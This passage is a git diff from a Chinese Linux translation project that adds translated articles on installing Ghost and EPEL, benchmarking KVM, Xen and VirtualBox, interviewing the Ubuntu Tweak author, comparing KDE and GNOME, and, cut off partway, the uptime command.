Ghost是使用Node.js框架编写的。因此,首先你需要在你的Linux系统上[安装Node.js框架][3]。确保Node.js的版本为0.10或者更高。接下来,登录入[http://ghost.org][1](需要注册),然后下载Ghost的源代码。记着按照下面的步骤安装:
|
||||
|
||||
$ sudo mkdir -p /var/www/ghost
|
||||
$ sudo unzip ghost-0.3.3.zip -d /var/www/ghost
|
||||
@ -14,7 +14,7 @@ Ghost是使用Node.js框架编写的。因此,首先你需要在你的Linux系
|
||||
$ sudo npm install --production
|
||||
|
||||
###启动前先配置Ghost
|
||||
在你启动Ghost之前,按照下面的步骤在/var/www/ghost/config.js位置创建它的配置文件。使用你的主机的IP地址替换掉“YOUR_IP”。
|
||||
在你启动Ghost之前,按照下面的步骤在/var/www/ghost/config.js位置创建它的配置文件。使用你的主机IP地址替换掉“YOUR_IP”。
|
||||
|
||||
$ cd /var/www/ghost
|
||||
$ sudo cp config.example.js config.js
|
||||
@ -24,18 +24,18 @@ Ghost是使用Node.js框架编写的。因此,首先你需要在你的Linux系
|
||||
|
||||
搞到这一步,你就可以准备去启动Ghost咯。
|
||||
|
||||
要注意的是,Ghost可以以两种不同的模式运行:“开发者模式”和“用户模式”。为了安全起见,Ghost将两种模式的配置文件(/var/www/ghost/content/data)分开存放。例如,两种不同的模式使用不同的数据库文件(例如位于/var/www/content/data的ghostdev.db和ghost.db)。
|
||||
要注意的是,Ghost可以以两种不同的模式运行:“开发者模式”和“用户模式”。为了安全起见,Ghost将两种模式的配置文件(/var/www/ghost/config.js)分开存放。例如,两种不同的模式使用不同的数据库文件(例如位于/var/www/content/data的ghostdev.db和ghost.db)。
|
||||
|
||||
使用一下命令就可以启动Ghost。Ghost默认以开发者模式运行。
|
||||
使用以下命令就可以启动Ghost。Ghost默认以开发者模式运行。
|
||||
|
||||
$ cd /var/www/ghost
|
||||
$ sudo npm start
|
||||
|
||||
Ghost成功运行后,终端中会有以下输出信息,告诉你Ghost正运行在<YOUR_IP>:2368(译者注:端口号)。
|
||||
Ghost成功运行后,终端中会有以下输出信息,告诉你Ghost正运行在<YOUR_IP>:2368(译者注:2368为端口号)。
|
||||
|
||||
[][4]
|
||||
|
||||
在你的浏览器中键入 http://<YOUR_IP>:2368,身份校验后你就会看到Ghost的初始页面。
|
||||
在你本机的浏览器中键入 http://<YOUR_IP>:2368,身份校验后你就会看到Ghost的初始页面。
|
||||
|
||||
[][5]
|
||||
|
||||
@ -57,10 +57,12 @@ Ghost成功运行后,终端中会有以下输出信息,告诉你Ghost正运
|
||||
你也可以检查一下forever活动进程列表:
|
||||
|
||||
$ sudo forever list
|
||||
|
||||
-
|
||||
|
||||
> info: Forever processes running
|
||||
> data: uid command script forever pid logfile uptime
|
||||
> data: [0] cH0O /usr/bin/nodejs index.js 15355 15357 /home/dev/.forever/cH0O.log 0:0:0:37.741
|
||||
info: Forever processes running
|
||||
data: uid command script forever pid logfile uptime
|
||||
data: [0] cH0O /usr/bin/nodejs index.js 15355 15357 /home/dev/.forever/cH0O.log 0:0:0:37.741
|
||||
|
||||
假如你看到以上信息,意味着Ghost已经成功以后台进程运行咯。
|
||||
|
||||
@ -73,7 +75,7 @@ Ghost成功运行后,终端中会有以下输出信息,告诉你Ghost正运
|
||||
|
||||
via: http://xmodulo.com/2013/11/install-ghost-blogging-platform-linux.html
|
||||
|
||||
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
100
published/How to setup EPEL repository on CentOS 5 or 6.md
Normal file
100
published/How to setup EPEL repository on CentOS 5 or 6.md
Normal file
@ -0,0 +1,100 @@
|
||||
如何在CentOS 5/6上安装EPEL 源
|
||||
================================================================================
|
||||
|
||||
EPEL 是什么?
|
||||
|
||||
EPEL (Extra Packages for Enterprise Linux,企业版Linux的额外软件包) 是Fedora小组维护的一个软件仓库项目,为RHEL/CentOS提供他们默认不提供的软件包。这个源兼容RHEL及像CentOS和Scientific Linux这样的衍生版本。
|
||||
|
||||
我们可以很容易地通过yum命令从EPEL源上获取上万个在CentOS自带源上没有的软件。EPEL提供的软件包大多基于其对应的Fedora软件包,不会与企业版Linux发行版本的软件发生冲突或替换其文件。
|
||||
|
||||
更多关于EPEL 项目的细节可以到以下网站获取:[https://fedoraproject.org/wiki/EPEL][1]
|
||||
|
||||
在文本中,我将展示在CentOS下如何安装EPEL源
|
||||
|
||||
> 提示 - RHEL/CentOS系统有许多第三方源,比较流行的比如RpmForge,RpmFusion,EPEL,Remi等等。
|
||||
>
|
||||
> 然而需要引起注意的是,如果系统添加了多个第三方源,可能会因此产生冲突——一个软件包可以从多个源获取,一些源会替换系统的基础软件包,从而可能会产生意想不到的错误。已知的就有Rpmforge与EPEL会产生冲突。
|
||||
>
|
||||
> 对于这些问题我们建议,调整源的优先权或者有选择性的安装源,但是这需要复杂的操作,如果你不确定如何操作,我们推荐你只安装一个第三方源。
|
||||
|
||||
## 在CentOS 上安装EPEL ##
|
||||
|
||||
要想安装EPEL,我们先要下载EPEL的rpm安装包。
|
||||
|
||||
CentOS/RHEL下的6.x和5.x版本下载页面如下
|
||||
|
||||
[http://download.fedoraproject.org/pub/epel/6/i386/repoview/epel-release.html][2]
|
||||
[http://download.fedoraproject.org/pub/epel/5/i386/repoview/epel-release.html][3]
|
||||
|
||||
以上网址可能会被重定向到特定的镜像站而加快下载速度。这个页面包含可以直接获取到rpm包的下载链接。直接的下载链接如下:
|
||||
|
||||
[http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm][4]
|
||||
[http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm][5]
|
||||
|
||||
根据你的CentOS 版本来选择正确的下载地址。
|
||||
|
||||
请注意EPEL 的安装包是独立编译的,所以它可以安装在32位和64位系统中。
|
||||
|
||||
### 1. 确认你的CentOS 的版本 ###
|
||||
|
||||
首先通过以下命令确认你的CentOS 版本
|
||||
|
||||
$ cat /etc/redhat-release
|
||||
CentOS release 6.4 (Final)
|
||||
|
||||
### 2. 下载EPEL 的rpm 安装包 ###
|
||||
|
||||
现在从上面的地址下载CentOS 版本所对应的EPEL 的版本
|
||||
|
||||
$ wget http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm
|
||||
|
||||
### 3. 安装EPEL ###
|
||||
|
||||
通过以下命令安装EPEL 软件包
|
||||
|
||||
$ sudo rpm -ivh epel-release-6-8.noarch.rpm
|
||||
|
||||
或
|
||||
|
||||
$ sudo rpm -ivh epel-release*
|
||||
|
||||
### 5. 检查EPEL 源 ###
|
||||
|
||||
安装好EPEL 源后,用yum 命令来检查是否添加到源列表
|
||||
|
||||
# yum repolist
|
||||
Loaded plugins: fastestmirror
|
||||
Loading mirror speeds from cached hostfile
|
||||
* base: mirrors.vonline.vn
|
||||
* epel: buaya.klas.or.id
|
||||
* extras: centos-hn.viettelidc.com.vn
|
||||
* updates: mirrors.fibo.vn
|
||||
repo id repo name status
|
||||
base CentOS-6 - Base 6,381
|
||||
epel Extra Packages for Enterprise Linux 6 - x86_64 10,023
|
||||
extras CentOS-6 - Extras 13
|
||||
nginx nginx repo 47
|
||||
updates CentOS-6 - Updates 1,555
|
||||
repolist: 18,019
|
||||
|
||||
EPEL已经在repo 后列出,并且显示提供了上万个软件包,所以EPEL 已经安装到你的CentOS了。
|
||||
|
||||
EPEL源的配置安装到了 **/etc/yum.repos.d/epel.repo** 文件。
|
||||
|
||||
现在来试一下从EPEL 获取软件包
|
||||
|
||||
$ sudo yum install htop
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.binarytides.com/setup-epel-repository-centos/
|
||||
|
||||
译者:[NearTan](https://github.com/NearTan) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:https://fedoraproject.org/wiki/EPEL
|
||||
[2]:http://download.fedoraproject.org/pub/epel/6/i386/repoview/epel-release.html
|
||||
[3]:http://download.fedoraproject.org/pub/epel/5/i386/repoview/epel-release.html
|
||||
[4]:http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm
|
||||
[5]:http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm
|
@ -0,0 +1,76 @@
|
||||
KVM,Xen与VirtualBox在Intel Haswell上的Linux虚拟化性能比较
|
||||
==============================================================
|
||||
|
||||
现在我们做的是[Intel Haswell][1]的虚拟化基准测试。我们在Intel酷睿i7 4770K的“Haswell”处理器上使用搭载了最新软件组件的Fedora 19,来进行KVM,Xen和VirtualBox的基准测试。
|
||||
|
||||
自从上个月推出Haswell以来,我们已经发布了许多和这款全新的英特尔处理器相关的基准测试,但我们直到这篇文章发布前,一直没有涵盖虚拟化方面的性能测试。这里,启用了英特尔硬件虚拟化后,将在一个纯净的Fedora 19 的64位操作系统上,分别安装KVM,Xen和Virtualbox,并进行比较。
|
||||
|
||||
目前Fedora 19拥有搭载GCC 4.8.1的Linux 3.9.8版本内核,Mesa 9.2.0开发库和一个EXT4文件系统。所有的虚拟化组件都从Fedora 19的仓库中获取的,包括QEMU 1.4.2,Xen 4.2.2和libvirt/virt-manager组件。Xen和KVM的虚拟化通过virt-manager来建立。VirtualBox 4.2.16则是通过VirtualBox.org获取并安装在Fedora 19中。
|
||||
|
||||

|
||||
|
||||
这个英特尔酷睿i7 4770K机器拥有16GB的内存和240GB的OCZ Vertex 3 固态硬盘。在测试中,每一个虚拟机能够使用全部八个逻辑核心(四个物理核心加上超线程)、16GB内存中的12GB以及16GB的虚拟磁盘。
|
||||
|
||||
在采用英特尔酷睿i7 “Haswell”处理器的Linux 3.9版本内核的Fedora 19上安装的KVM,Xen和VirtualBox的性能也和在没有任何形式的虚拟化或其它抽象层上运行基准测试的“裸机(Bare Metal)”的性能进行了对比。VMWare的产品没有在这篇文章里被测试,因为它们的EULA特性限制了这种公开基准测试(尽管VMware在过去可以让我们正常地做这样的基准测试),并且它们的试用软件只能限制运行在四核CPU上。但以后的另外一篇文章会比较下在其它硬件上XEN/KVM/VMware的性能。
|
||||
|
||||

|
||||
|
||||
全部的Linux虚拟化基准测试采用完全自动化和可重复的方式进行处理,使用开源软件[Phoronix Test Suite][3]并由[OpenBenchmarking.org][4]支持。在使用虚拟磁盘而且Xen/KVM都没有一个可靠的访问主机驱动或GPU的方法以使用3D功能的情况下,这篇文章里的大部分基准测试都是集中在不同Linux虚拟化方法计算性能开销上。
|
||||
|
||||

|
||||
|
||||
磁盘测试在这里并不是虚拟化测试的一个重点,因为只有一个虚拟磁盘被主机的文件系统使用。然而,当把这三种Linux虚拟化方法与裸机结果进行比较时,运行在Linux 3.9内核上的KVM性能最好,其次是Xen。Oracle的Virtual仅仅跑出了主机上PostMark邮件服务器性能的66%,而KVM跑出了性能的96%,Xen是83%。
|
||||
|
||||

|
||||
|
||||
对于Dolfyn计算流体动力学的工作量,当运行在KVM或Xen上时,和裸机的运行结果相比并没有任何重大的变化。然而,VirtualBox则是明显变慢了。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
FFTE和HMMer的结果和Dolfyn类似:Xen和KVM用很小的开销获得很好的性能,但Oracle的VirtualBox则慢得多。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
当John The Ripper这个破解密码的程序在VirtualBox中运行时,则直接崩溃了。
|
||||
|
||||

|
||||
|
||||
运行TTSIOD渲染器时,在Linux 3.9 内核的Fedora 19上运行的Xen虚拟化方法获得了它的第一次性能比拼的胜利。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
总之,运行在搭载英特尔酷睿i7 4770K处理器Fedora 19上的Xen和KVM虚拟化技术工作良好。这些虚拟化方法在Haswell处理器上的性能开销是最小的。当Xen和KVM在这款全新的英特尔处理器上运行良好的时候,Oracle的VirtualBox(最新版本,v4.2.16)相对慢得多。虽然VirtualBox的一个优点是支持客户机3D加速,但这会在未来的一篇Phoronix文章中再次进行测试。而把Haswell和前几代的英特尔处理器和AMD处理器比较不同虚拟化方法的性能开销也会在不久之后在Phoronix上进行测试。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.phoronix.com/scan.php?page=article&item=intel_haswell_virtualization
|
||||
|
||||
译者:[KayGuoWhu](http://github.com/KayGuoWhu) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.phoronix.com/scan.php?page=search&q=Haswell
|
||||
[2]:http://www.phoronix.com/scan.php?page=news_item&px=MTM5MzU
|
||||
[3]:http://www.phoronix-test-suite.com/
|
||||
[4]:http://openbenchmarking.org/
|
||||
|
94
published/Interview with Ding Zhou of Ubuntu Tweak.md
Normal file
94
published/Interview with Ding Zhou of Ubuntu Tweak.md
Normal file
@ -0,0 +1,94 @@
|
||||
专访Ubuntu Tweak的作者周鼎
|
||||
================================================================================
|
||||
|
||||
[Ubuntu tweak][1] 是一款知名度很高的应用程序软件,Ubuntu 用户可以用它来调整系统的性能、功能等各个细节。项目的创始人,周鼎又名 Tualatrix Chou ,正与我们分享 Ubuntu Tweak 的特性、使用感觉以及它跟 Canonical 的关系,并且勾勒了项目的未来计划蓝图。享受吧!
|
||||
|
||||
**你什么时候开始使用 Linux 的,并基于什么使你决定开发 Ubuntu tweak ?**
|
||||
|
||||
我开始使用 Linux 是在2006年底,那时刚开始我的大学生活。当时我正在学 C 编程语言,一个朋友建议说要学习编程的话 Linux 是最好的平台环境,所以我就开始了我的 Linux 生涯,是从 Fedora Core 6 开始的。但用了仅仅只有一周的时间,我就换成 Ubuntu 6.10,因为Ubuntu在中国有更好的社区,也有更好更快的源库/镜像。我立马就爱上了 Ubuntu,就一周时间,就从 Windows 环境完全切换到 Ubuntu 环境。
|
||||
|
||||
在苦乐参半的半年使用时间后,我意识到 Ubuntu 对中国用户来说不是太友好,因为全新安装系统后,用户必须得自己配置字体、输入法以及其它很多很多设置。所以,我决定开发出一款应用程序来帮助新手,让他们很简单的就可以对系统做相应配置。
|
||||
|
||||
因此在2007年7月,我就开始开发 Ubuntu Tweak,刚开始的时候,仅仅提供了汉语版本的,但很快就考虑了 Ubuntu Tweak 的国际版本,并且在2007年9月份就发布了首个国际版本。
|
||||
|
||||
**Ubuntu tweak 已经是非常成功的项目了。很多 Ubuntu 用户用它来调整系统的性能、功能等各个细节。能给我们谈论下 Ubuntu Tweak 能做些什么吗?**
|
||||
|
||||

|
||||
|
||||
Ubuntu Tweak 可以用来切换桌面图标的显示方式、设置字体、启用/禁用多用户切换功能以及登陆的标识(logo)等等。
|
||||
|
||||
在最新的 Ubuntu Tweak 0.6版本中,你也可以调整你的 Unity 桌面以及关机功能。
|
||||
|
||||
你也能使用 Ubuntu Tweak 来清理系统的垃圾以释放空间和使系统保持干净。
|
||||
|
||||
**Canonical 在他们的默认发布源中不考虑加入 Ubuntu Tweak。这意味着什么?这对那些没有经验,但又想要使用你的应用程序来调整他们的系统的用户来说,存在某些风险吗?**
|
||||
|
||||
对的。因为在以前的 Ubuntu Tweak 发布版本中,为流行的 PPA 都提供了可用源,但我不能保证所有的 PPA 都是安全的,所以 Ubuntu Tweak 会有一些安全风险。
|
||||
|
||||
如你们所见,从0.6版本后 Ubuntu Tweak 就已经移除了源中心(Source Center)。但请不要混淆“Ubuntu默认包含”和“加入源仓库”这两个概念。Ubuntu Tweak 首先应该要被加入通用资源仓库,然后才能被 Ubuntu 默认包含。
|
||||
|
||||
从错误报告和用户反馈来看,Ubuntu Tweak 已经比老版本更加稳定及更易使用。
|
||||
|
||||
**你有收到来自 Canonical 和 Ubuntu 开发者的支持或有跟他们合作(不论什么)的事项吗,是哪些方面的?**
|
||||
|
||||
当然,我得到 Canonical 公司的一些帮助,他们试着帮我把 Ubuntu Tweak 放入源仓库。这工作现在仍然在进行。
|
||||
|
||||
也得到社区的很多热心帮助,他们帮我翻译、设计、测试、报告错误,甚至提交代码分支。
|
||||
|
||||
**开发 Ubuntu Tweak 的有多少人?**
|
||||
|
||||
如果你说的是“代码开发者”,就仅仅我一个,但我们有很多设计人员:logo 是M.Sharp设计的,Kevin Chou 帮助设计了 Ubuntu Tweak 的用户界面(UI)原型,就是0.6版本的样子。现在 Jeonkwan Chan 正在帮我重新美化用户界面,将会用在0.7版本上。任何人,只要愿意就可以加入到 Ubuntu Tweak 的开发中来:)
|
||||
|
||||
**在Ubuntu11.04版本中当 Unity 出现时,许多 Ubuntu 用户抱怨其可配置性不好,您对这个怎么看的?这个特殊的桌面环境能有些什么多适用性的配置能力呢?**
|
||||
|
||||
我喜欢桌面系统的可配置高适应性,这是 Linux 系统的优点,不是吗?
|
||||
|
||||
例如,我不喜欢 Unity Launcher 的自动隐藏功能,所以我设置让他不会隐藏。
|
||||
|
||||
事实上,Unity 是可配置的,仅仅是它缺少 CompizConfig 设置管理器,所以你不能把 Unity Launcher 放到桌面底部或右面,这对左撇子来说很不友好。哈哈,开玩笑的。
|
||||
|
||||
如大家所见,Ubuntu 12.04已经增加了隐藏/显示切换功能,Launcher 的大小在系统设置中也可以自定义设置。我认为 Unity 将会有更多的可配置功能。
|
||||
|
||||
**一般来说,你认为 Canonical 公司开发 Unity 桌面环境是正确的决策吗?他们与 Gnome 开发者之间有合作争议,这有些是不可避免的吗?**
|
||||
|
||||
是的,对于 Canonical 公司来说,我觉得他们的决策很正确。回顾三年前,当 Ubuntu 首次引入基于 GNOME Panel 的Indicator ,它的设计就要比原来直接的 GNOME Panel 小程序更优雅。但 Canonical 开发者和 GNOME 开发者之间合作有些问题,因为他们从来没有着眼于 GNOME。直到 GNOME 3 的面世,情况才有所好转,它的 GNOME Shell 已经从 GNOME Panel 移出来了,并且 GNOME Shell 的面板已经和上面提到的 Indicator 用的是同一套设计方式。如果他们之间共用相同的 API 的话,桌面Linux应该会更好用。
|
||||
|
||||
所以来自于公司、社区、GNOME 桌面等的不同的关于用户界面的见解,综合起来最终就形成了 Unity。
|
||||
|
||||
我认为这是好事。至少,到目前为至,比起 GNOME Shell 来说,我更喜欢 Unity。
|
||||
|
||||
**虽然你正在开发的是一款 Ubuntu 系统专用的程序,但我假设你为了使用更多的高级用户功能,会使用其它的发行版本。你会选择哪些发行版本呢?为什么?**
|
||||
|
||||
当然,我已经玩过 Fedora、Arch、 OpenSUSE,特别是 Gentoo,我已经整整使用了一年。它是我第二喜欢的 Linux 发行系统,因为它拥有一个最先进的包管理系统。
|
||||
|
||||
但现在我仅仅只使用 Ubuntu 的桌面版本和服务版,也使用 Mac OS X,很多的设计灵感就来自于它 :)
|
||||
|
||||
**Ubuntu Tweak 能被优化或做几个分支或者改变一点点,以便能在其它的 linux 发行版本比如 Fedora、OpenSue 或者 Debian 上使用吗?有做成统一的一个叫做“Linux Tweak”的应用程序,用户不管选择什么样的发布版本或桌面环境都可以用这种想法吗?不知道是否可行?**
|
||||
|
||||
可以的,要让 Ubuntu Tweak 在其它发行版本中运行非常容易。它是模块化的,很轻松的就可以改造(hack)。
|
||||
|
||||
2008年的时候,我就发布了一版 Fedora 的“Ubuntu Tweak for Fedora”,但最终我放弃维护这个版本了,因为我主要关注 Ubuntu 版本的,所以没有那么多精力。
|
||||
|
||||
**那 Ubuntu Tweak 的未来计划是什么?也许 Canonical 公司会内嵌进系统,然后把它做为发布版本默认的工具或者他们会基于他们自己的系统调整工具来使用它。您认为呢?您的下一步计划会是什么的呢?**
|
||||
|
||||
Ubuntu Tweak 的未来当然会一片光明。哈哈。
|
||||
|
||||
我已经开始实现把 Ubuntu Tweak 加入软件中心这个工作了。如果用户能从软件中心直接安装 Ubuntu Tweak,它会更容易。
|
||||
|
||||
现在我正在开发0.7版本的,它将更美观,并且与 Unity 桌面的集成度更好,也加入了一些很有用的新功能。我想使Ubuntu Tweak 在 Unity 桌面环境下尽可能的发挥作用。
|
||||
|
||||
跟随着 Ubuntu 12.04的发布,我也计划发布新的版本,希望大家喜欢 :)
|
||||
|
||||
还有一件事要透露下,我已经加入 Canonical 北京公司,负责处理 OEM 的事情。虽然 Ubuntu Tweak 仍是一个个人项目,我还没有参与进 Ubuntu 的开发任务,但有可能话我会试着加入开发团队 :)
|
||||
|
||||
**太伟大了!谢谢 Tualatrix。**
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.unixmen.com/interview-with-ding-zhou-of-ubuntu-tweak/
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
译者:[runningwater](https://github.com/runningwater) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
[1]:http://ubuntu-tweak.com/
|
81
published/KDE vs GNOME- Settings, Apps, Widgets.md
Normal file
81
published/KDE vs GNOME- Settings, Apps, Widgets.md
Normal file
@ -0,0 +1,81 @@
|
||||
KDE vs GNOME: 设置,应用和小工具
|
||||
=====================================
|
||||
|
||||
当提到桌面环境时,对你来说选择一个合适的可能是个值得深思的个人问题。在这篇文章中,我会比较Gnome和KDE这两种最为流行的Linux桌面环境之间的不同之处,也会通过对比它们的优缺点来探究每一种桌面环境所能提供的功能。
|
||||
|
||||
###第一印象
|
||||
|
||||
第一眼看到桌面,你可能会觉得KDE看起来比Gnome更光亮,并提供一个更友好的科技外观。此外,如果你习惯于Windows环境,屏幕底部的菜单和按钮布局会让你感觉KDE看起来更熟悉一些。你可以很容易地找到Kmenu,启动程序以及仅仅点击几下鼠标就能找到文档。
|
||||
|
||||
KDE的另一个重要和熟悉的好处是方便地在每个打开的文档、图片和应用中使用最小化和关闭按钮。对于那些习惯其它平台的人来说,这些特性可能会认为是理所当然的。但是考虑到对于像Gnome这样不再提供一个真正的最小化选项的桌面来说,这里是值得给予KDE支持的。
|
||||
|
||||
第一次加载进入Gnome 3,如果你来自另一个平台,它的桌面可能被认为是很奇怪的。像经典的Gnome一样,你想访问的文档和工具并不位于屏幕的底部。让新手们感到更陌生的是,关闭已经打开的窗口的方法是如此的“与众不同”。然而,站在支持Gnome3的角度上,我发现只要你习惯了这种新的做事方式,会觉得这是一段相当愉快的经历。我所知道的已经试用过Gnome3的新用户们也普遍地感觉良好。
|
||||
|
||||
###小工具和扩展
|
||||
|
||||
随着我们深入了解Gnome和KDE提供的扩展和小工具,这两种桌面环境之间的差别会越来越大。尽管它们都能提供你可以启动的附件以增强桌面体验,但是它们在如何处理扩展功能上的分界并不相同。
|
||||
|
||||
KDE采用一种有趣的方式,即你可以桌面小部件划分到称为“活动区”的分组中。这使得你可以创建一个包含一系列桌面小部件的活动区,以处理特定的工作流。
|
||||
|
||||
相反地,Gnome按照另一种方式定义活动区。Gnome使它的活动区更加基于任务和应用,而不是以小部件为中心。例如,如果我正在使用多个应用程序,切换到Gnome活动区视图允许你能够可视化地、及时地访问每一个任务。
|
||||
|
||||
###设置你的桌面
|
||||
|
||||
虽然在通过GUI提供充足的设置方面Gnome做得越来越好,但KDE依然是这个领域的王者。(译注:对于这一点,不同的人有不同的看法。)
|
||||
|
||||
使用KDE,你可以通过设置去控制几乎桌面的每一个方面。一些诸如[OpenSUSE][1]Linux发行版,通过紧密地把它们的工具 ([YaST][2]) 集成到KDE的设置环境中,在这方面做得更好。
|
||||
|
||||
随着Gnome3之后的Gnome桌面更新,我发现的最显著的地方是KDE正在通过易于使用的设置来提供更加强大的功能。Gnome往往把特定于应用程序的设置放在一个容易找到的每个应用程序的地方。
|
||||
|
||||
但是KDE倾向于为应用程序提供更细粒度的控制。我最喜欢的例子之一是[Kontact][3] vs [Evolution][4]。它们分别是Gnome和KDE上很强大的个人信息管理软件。但不同的是,Kontact是一套附带为每个应用程序绑定一套控制的应用程序,而Evolution只是拥有有限控制的单个应用程序。在其它特定于桌面的应用中,[AmaroK][5] vs [Rhythmbox][6] 也是如此。
|
||||
|
||||
###文件管理
|
||||
|
||||
当涉及到为你的桌面寻找合适的文件管理器时,Gnome和KDE提供的默认选择都能为你完成这项工作。[Nautilus][7]是Gnome的默认文件管理器,而KDE提供[Dolphin][8] 作为它的默认文件管理器。
|
||||
|
||||
除此之外,我发现Nautilus为Gnome用户提供一个光鲜的、易用的文件管理工具,不会使Linux的新用户们不知所措。然而,回到KDE上,对于那些想要深入控制的人,Dolphin是一个高度可配置的,而不是适合新手的文件管理方案。
|
||||
|
||||
如果简单地观察每个文件管理器的侧边栏,你会注意到Nautilus提供最直接的导航方式。但是,KDE的Dolphin在诸如上一次使用文件的日期和其它相关选项的特性上做得更好。
|
||||
|
||||
如果你是高级的Linux用户,你很可能发现自己被Dolphin吸引,因为它提供了最多的选择和控制。对于那些不想通过复杂的控制导航文件的人,Nautilus在简单性上更胜一筹。
|
||||
|
||||
###桌面应用
|
||||
|
||||
经常在Linux爱好者中引发分歧的一个话题是,宣称某个桌面可以提供更好的默认应用。其实,这就是Gnome和KDE当前所处的情况。
|
||||
|
||||
我在这个方面的发现是:在一些方面,Gnome不费吹灰之力就能胜出。例如,GIMP、Evince和Pidegin相对它们在KDE上的同类来说更好用。而以我之见,Kmail则是另一种应用程序,它带给KDE的新用户们一个坏印象。像这类的应用过于复杂,并且在一般情况下,使用起来难以捉摸。
|
||||
|
||||
在另一方面,也有一些有价值的地方来支持KDE。[Calligra][9] 对比 [AbiWord][10] 对于KDE来说是轻松取胜的,因为[LibreOffice][11] 并不是一个“真正的”Gnome特有的应用。因为它是很多Linux发行版的默认套件,而不是桌面环境的默认选择。
|
||||
|
||||
最后,Linux最神奇的地方之一是你可以安装GTK或者Qt库,享受最符合你需求的应用程序带来的好处(译注:即使用另外一种桌面的应用)。对我自己,我发现在大部分情况下,Gnome的默认应用程序是明显的赢家。
|
||||
|
||||
###结语
|
||||
|
||||
如果我发现自己被困在一座岛上,只有一种可用的桌面环境,那它必须是Gnome。虽然我喜欢KDE的某些方面胜过Gnome,但总体上我觉得Gnome可以花更少的功夫去持续使用。我常常发现使用KDE搞砸了一堆配置,甚至更糟糕,譬如奇怪的警告声称我的声卡找不到。在Gnome环境下,我从没有遇到这些问题。
|
||||
|
||||
因为我珍惜我的时间和理智,所以我会持续推荐使用Gnome而不是KDE;同时在适当的时候建议一些KDE应用。对于任何声称KDE更容易使用的人,我想说对于我而言,从长远来看简单地学习Gnome的做事方法给我带来了更大的稳定性。
|
||||
|
||||
照片由[Shutterstock][12]提供。
|
||||
|
||||
---
|
||||
|
||||
via: http://www.datamation.com/open-source/kde-vs-gnome-settings-apps-widgets-1.html
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
译者:[KayGuoWhu](https://github.com/KayGuoWhu) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
|
||||
[1]:http://www.opensuse.org/en/
|
||||
[2]:http://en.opensuse.org/YaST_Software_Management
|
||||
[3]:http://userbase.kde.org/Kontact
|
||||
[4]:https://projects.gnome.org/evolution/
|
||||
[5]:http://amarok.kde.org/
|
||||
[6]:https://projects.gnome.org/rhythmbox/
|
||||
[7]:http://en.wikipedia.org/wiki/Nautilus_%28file_manager%29
|
||||
[8]:http://en.wikipedia.org/wiki/Dolphin_%28file_manager%29
|
||||
[9]:http://www.calligra-suite.org/
|
||||
[10]:http://www.abisource.com/
|
||||
[11]:http://www.libreoffice.org/
|
||||
[12]:http://www.shutterstock.com/pic-137314787/stock-photo-information-concept-golden-gears-on-digital-background-d-render.html
|
||||
|
@ -0,0 +1,51 @@
|
||||
Linux Uptime 命令,让你知道你的系统运行了多久
|
||||
================================================================================
|
||||

|
||||
|
||||
对于一些人来说系统运行了多久是无关紧要的,但是对于服务器管理员来说,这是相当重要的信息。服务器在运行重要应用的时候,必须尽量保证长时间的稳定运行,有时候甚至要求零宕机。那么我们怎么才能知道服务器运行了多久呢?
|
||||
|
||||
在Linux 下,我们可以使用uptime 命令,而且此命令不必使用root 权限。uptime 命令在系统中已经默认安装了。
|
||||
|
||||
语法如下:
|
||||
|
||||
$ uptime
|
||||
|
||||
你会在屏幕上看到如下显示:
|
||||
|
||||

|
||||
|
||||
这些信息保存在/proc/uptime 文件中,虽然是以文本方式保存,但是这些数据却不能直接显示,这就需要我们使用uptime 命令来翻译它。
|
||||
|
||||
以下是如何解读uptime 提供的信息:
|
||||
|
||||
### 系统时间 ###
|
||||
|
||||
在图1中,左起第一条信息是14:04:39,这就是当前系统时间,以24小时格式输出。
|
||||
|
||||
### 系统运行时间 ###
|
||||
|
||||
第二条信息**Up 1004 days, 12:20**,这是显示你的系统运行时间。图1 显示你的系统已经运行了1004天12小时20分钟,如果你的系统没有运行超过24小时,这里将只会显示小时分钟或者只显示分钟。注意图2、图3的信息,当系统重启后将会清零。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
### 已登录用户的数量 ###
|
||||
|
||||
第三部分的信息是显示已登陆用户的数量。在图1中,显示的是**1 user** ,即当前登录用户数量。当多个用户在同时登陆系统时,uptime 命令将告诉你用户的数量。
|
||||
|
||||
### 平均负载量 ###
|
||||
|
||||
